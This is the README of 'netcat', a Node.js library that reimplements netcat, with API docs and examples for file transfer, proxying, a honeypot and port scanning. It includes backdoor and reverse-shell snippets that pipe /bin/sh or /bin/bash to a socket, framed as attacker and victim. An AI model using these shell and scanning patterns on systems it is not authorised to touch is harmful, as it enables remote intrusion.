Skip to content

roccomuso/netcat

Repository files navigation

netcat

NPM Version node Dependency Status JavaScript Style Guide Patreon donate button

Netcat client and server modules written in pure JavaScript for Node.js.

Fully tested modules that implement the basic netcat features. To use this as a standalone tool, install the nc package.

Linux/Mac Windows
Build Status Build status

What you can do 💻

  • TCP & UDP
  • Backdoor (Reverse Shell)
  • Honeypot
  • File transfer
  • Port forwarding
  • Proxy
  • Web Server
  • Port scanning

Enhancements

  • Filter incoming data.
  • Crypto.
  • Authentication (.auth('pass')).
  • allow and deny specific remote IP addresses.

Install

$ yarn add netcat

NPM

Usage

const NetcatServer = require('netcat/server')
const NetcatClient = require('netcat/client')
const nc = new NetcatServer()
const nc2 = new NetcatClient()

Examples

This module's API follows the original netcat CLI parameters as closely as possible.

For instance: nc -l -p 2389 is equivalent to nc.port(2389).listen(). Easy right?

Server and client connection

Server Client
nc.port(2389).listen() nc2.addr('127.0.0.1').port(2389).connect()

Transfer a file

Server Client
nc.port(2389).listen().pipe(outputStream) inputStream.pipe(nc2.port(2389).connect().stream())

Or vice versa, you can do the equivalent of nc -l -p 2389 < filename.txt. When someone connects to port 2389, the file is sent to them:

Server Client
nc.port(2389).serve('filename.txt').listen() nc2.port(2389).connect().pipe(outputStream)

Keepalive connections

Server Client
nc.port(2389).k().listen() inputStream.pipe(nc2.port(2389).connect().stream())

The server will stay alive and will not close after the first connection. (k() is an alias for keepalive().)

Serve raw buffer

Server Client
nc.port(2389).listen().serve(Buffer.from('Hello World')) nc2.port(2389).connect().on('data', console.log)

Backdoor shell

Server Client
nc.port(2389).listen().exec('/bin/bash') process.stdin.pipe(nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream())

The exec() method executes the given command and pipes its stdout and stderr to the client socket.

Reverse shell

Attacker Victim
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) nc2.addr('127.0.0.1').port(2389).retry(5000).connect().exec('/bin/sh')
  • Upgradeable to Meterpreter!

Netcat as a proxy

Netcat can be configured as a proxy server:

const nc = new NetcatServer()
const nc2 = new NetcatClient()
nc2.addr('google.com').port(80).connect()
nc.port(8080).k().listen().proxy(nc2.stream())

All traffic flowing through localhost:8080 will be redirected to google.com:80. Similarly, you can set up port forwarding by using the same host.

Honeypot

Pretend to be an Apache server:

const apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
const nc = new NetcatServer()
const logFile = fs.createWriteStream('log.txt')
nc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)

Port scanning

The netcat client also provides basic port scan functionality.

const nc = new NetcatClient()
nc.addr('127.0.0.1').scan('22-80', function (ports) {
 // ports: { '22': 'open', '23': 'closed' ... }
})

The port scanner is TCP-only. UDP scanning is not very effective. scan(...) also accepts an array or an integer.

Filter incoming data

const nc = new NetcatServer()
nc.addr('127.0.0.1').port(8080).filter(function (chunk, enc, cb) {
  // transform upper case
  const out = chunk.toString().toUpperCase()
  this.push(Buffer.from(out))
  cb(null)
}).pipe(process.stdout).listen()

Connect to a UNIX socket file

Both the Netcat server and client support UNIX socket connections. Let's use a Netcat client instance to connect to the Docker UNIX socket file and retrieve the list of container images.

nc2.unixSocket('/var/run/docker.sock').enc('utf8')
  .on('data', function (res) {
    console.log(res)
  })
  .connect()
  .send('GET /images/json HTTP/1.0\r\n\r\n')

UDP listen for packets

const nc = new NetcatServer()
nc.udp().port(2100).listen().on('data', function (rinfo, data) {
  console.log('Got', data.toString(), 'from', rinfo.address, rinfo.port)
  nc.close()
})

UDP send a packet

const nc2 = new NetcatClient()
nc2.udp().port(2100).wait(1000).init().send('hello', '127.0.0.1')

Send the hello buffer to port 2100, then close the client after 1000 ms.

API

port(int) or p(int)

Netcat can bind to any local port, subject to privilege restrictions and ports that are already in use.

address(host) or addr(host)

  • When used server-side: set the local address to listen to. 0.0.0.0 by default.
  • When used client-side: set the remote address to connect to. 127.0.0.1 by default.

listen()

Make the UDP/TCP server listen on the previously set port.

unixSocket(path) - TCP only

Optionally, you can provide the path to a UNIX socket file and listen on it or connect to it.

connect() - TCP only

Client-side only. Let the client connect to the previously set address and port.

retry(ms) - TCP only

Client-side only. Retry connection every ms milliseconds when connection is lost.

interval(ms) or i(ms)

Client-side only. Specify a delay, in milliseconds, for sent data.

waitTime(ms) or wait(ms)

Set a timeout.

  • A server will wait ms milliseconds from the first data event and close the connection if it does not receive more data.
  • A client will wait ms milliseconds from the first sent data and close if there is no more data to send.

stream()

Return the client duplex stream reference.

pipe(outStream)

Pipe incoming data from the client to the given outStream.

filter(transformFn)

Filter incoming data with the given transform function, function (chunk, enc, cb) { ... }, before it is piped out.

Note: The .on('data', cb) data you get is not filtered. The filter only applies on the piped .pipe(...) stream.

Known issue: through2 currently doesn't respect the encoding. If you set a filter, you will get a Buffer and the enc() method will not be useful.

serve()

Server-side method.

The serve method accepts a string (indicating a file name, make sure the file exists), a readable stream, or a Buffer. When you pass a readable stream with TCP keepalive enabled, the stream's data is cached as it is read so later clients can receive the same data.

When serving a file or a Buffer to a socket, the pipe will emit an end (EOF) event to the socket and close the stream.

send(data [, cb|host])

Client-side:

  • in TCP: send data to the connected server. cb is called once the data has been sent.
  • in UDP: send data to the destination address, or to the given host if provided.

Server-side:

  • in TCP: not available; use serve() instead.
  • in UDP: send data to the destination address, or to the given host if provided.

end(data) - TCP only

Client-side method. Send the given data and close the connection.

close([cb])

Close the connection, or all connections when called server-side, and call cb once the socket is closed.

enc()

Set an encoding. The most common ones are: utf8, ascii, base64, hex, and binary.

protocol(prot)

Set a custom protocol. The use of this method is discouraged. Use the methods tcp() and udp() instead. tcp is the default value.

keepalive() or k() - TCP only

Server-side method.

When you enable keepalive, the server will stay up and the outStream given to pipe(outStream) may be kept open.

By default, a UDP listener stays alive until an explicit nc.close().

exec() - TCP only

The exec() method executes the given command and pipes its stdout and stderr to the client socket. It accepts an optional array of args as the second parameter and spawn options as the third parameter. If a pipe character (|) is found, the command is processed with sh -c on Unix-like systems or cmd.exe /C on Windows.

Example:

nc.p(2389).exec('base64', ['-d']).listen()
// OR
nc.p(2389).exec('base64 | grep hello').listen()

getClients() - TCP only

Server-side method. Return an object listing all client socket references.

proxy(duplexStream) - TCP only

Server-side method. This method pipes the server's incoming and outgoing data to the provided duplexStream. It is a shortcut for both .serve(duplexStream) and .pipe(duplexStream).

output(outStream) or out(outStream)

Write a hex dump of incoming or outgoing traffic to the given writable stream, outStream.

A row represents a chunk of at least 16 bytes by default.

The first character can be either < or >, meaning "incoming chunk" or "outgoing chunk", respectively.

scan(portsInterval, cb) - TCP only

The netcat client also provides basic port scan functionality.

The first parameter is mandatory and specifies the port or ports to scan. It can be a single integer, a string interval (like 22-80), or an array of integers ([22, 23, 1880]). If provided, the callback receives an object like { '22': 'open', '23': 'closed' ... }.

init() - UDP only

The UDP equivalent of connect(). This is for UDP clients only.

bind(<int>) - UDP only

Let the UDP client/server listen on the given port. It will also be used as the outgoing port if .port(<n>) was not called.

broadcast(<dst>) or b(<dst>) - UDP only

Enable broadcast for the UDP server. You can optionally specify a destination address.

destination(<dst>) - UDP only

Set a destination address. (127.0.0.1 is the default value.)

loopback() - UDP only

Enable loopback. For instance, when a UDP server is bound to a port and sends a message to that port, it will receive the message back if loopback is enabled.

Events

The netcat modules extend the EventEmitter class. You can catch some events straight from the sockets. For example, the server data event:

Server Client
nc.port(2389).listen().on('data', onData) inputStream.pipe(nc2.port(2389).connect().stream())
function onData (socket, chunk) {
  console.log(socket.id, 'got', chunk) // Buffer <...>
  socket.write('hello client') // reply to the client
}

Server events

  • .on('data', function (sockOrRinfo, msg) {})

Emitted when the server receives data from clients.

  • .on('ready', cb)

Emitted when the server successfully listens on or binds to a port.

  • .on('close', cb)

Emitted when the server closes.

  • .on('clientClose', function (socket, hadError) {}) - TCP only

Called when a client disconnects from the server. The callback receives the disconnected socket instance as the first parameter and a Boolean hadError value as the second parameter.

  • .on('connection', function (socket) {}) - TCP only

Emitted when a new client connects to the server.

  • .on('end', function (socket) {}) - TCP only

Emitted when a client ends the connection.

  • .on('timeout', function (socket) {}) - TCP only

Socket timeout event.

  • .on('waitTimeout', cb)

Fired when the server remains inactive for a specified wait(ms) time.

  • .on('error', function (err) {})

Emitted on error.

Client events

  • .on('data', function (msg) {})

Emitted when data is received from the server.

  • .on('close', cb)

Emitted when the client closes.

  • .on('waitTimeout', cb)

Fired when the client remains inactive for a specified wait(ms) time.

  • .on('connect', cb) - TCP only

Emitted when the client establishes a connection with a server.

  • .on('error', function (err) {})

Emitted on error.

CLI usage

For standalone usage, install the nc CLI package:

$ npm install -g nc

Example:

$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]

Available options:

  • -c shell commands as '-e'; use /bin/sh to exec [dangerous!!]
  • -e filename program to exec after connect [dangerous!!]
  • -b allow broadcasts
  • -i secs delay interval for lines sent, ports scanned (client-side)
  • -h show help
  • -k set keepalive option on socket
  • -l listen mode, for inbound connects
  • -n numeric-only IP addresses, no DNS
  • -o file hex dump of traffic
  • -p port local port number
  • -r randomize local and remote ports
  • -q secs quit after EOF on stdin and delay of secs
  • -s addr local source address
  • -u UDP mode
  • -U Listen or connect to a UNIX domain socket
  • -v verbose
  • -w secs timeout for connects and final net reads
  • -z zero-I/O mode [used for scanning]

DEBUG

Debug output matches verbose mode. You can enable it with the verbose: true parameter or the DEBUG=netcat:* environment variable.

Tests

Run them with: yarn test

Coverage:

  • Test the .serve(input) method
  • Test the keepalive connection with .pipe() and serve().
  • serve() accepts a string, stream, or Buffer.
  • exec() method
  • Backdoor shell
  • Proxy server
  • UDP.

Author

Rocco Musolino (@roccomuso)

License

MIT

About

💻 Netcat client and server modules written in pure Javascript for Node.js.

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors